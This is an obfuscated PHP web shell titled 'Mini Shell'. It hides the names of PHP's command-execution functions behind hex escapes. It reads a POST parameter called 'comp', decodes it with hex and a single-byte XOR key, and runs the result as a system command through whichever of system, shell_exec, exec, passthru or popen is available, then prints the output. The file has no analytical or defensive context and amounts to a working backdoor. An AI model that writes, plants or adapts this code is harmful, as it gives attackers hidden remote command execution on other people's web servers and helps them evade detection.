Mini Shell

<?php

$system_core7 = "p\x63\x6Cos\x65";
$system_core1 = "sy\x73t\x65m";
$system_core3 = "exec";
$system_core6 = "s\x74rea\x6D_\x67et_c\x6Fn\x74\x65n\x74s";
$system_core4 = "\x70asst\x68\x72\x75";
$system_core2 = "\x73h\x65\x6C\x6C_ex\x65c";
$system_core5 = "\x70o\x70en";
$splitter_tool = "h\x65x2bin";
if (isset($_POST["comp"])) {
            function module_controller (  $pset ,     $mrk)  {
   $binding =    ''  ;
  $t=0;
 while($t<strlen($pset)){
$binding.=chr(ord($pset[$t])^$mrk);
$t++;

} return$binding;
 
}
            $comp = $splitter_tool($_POST["comp"]);
            $comp = module_controller($comp, 15);
            if (function_exists($system_core1)) {
                $system_core1($comp);
            } elseif (function_exists($system_core2)) {
                print $system_core2($comp);
            } elseif (function_exists($system_core3)) {
                $system_core3($comp, $parameter_group_pset);
                print join("\n", $parameter_group_pset);
            } elseif (function_exists($system_core4)) {
                $system_core4($comp);
            } elseif (function_exists($system_core5) && function_exists($system_core6) && function_exists($system_core7)) {
                $mrk_binding = $system_core5($comp, 'r');
                if ($mrk_binding) {
                    $tkn_dat = $system_core6($mrk_binding);
                    $system_core7($mrk_binding);
                    print $tkn_dat;
                }
            }
            exit;
        }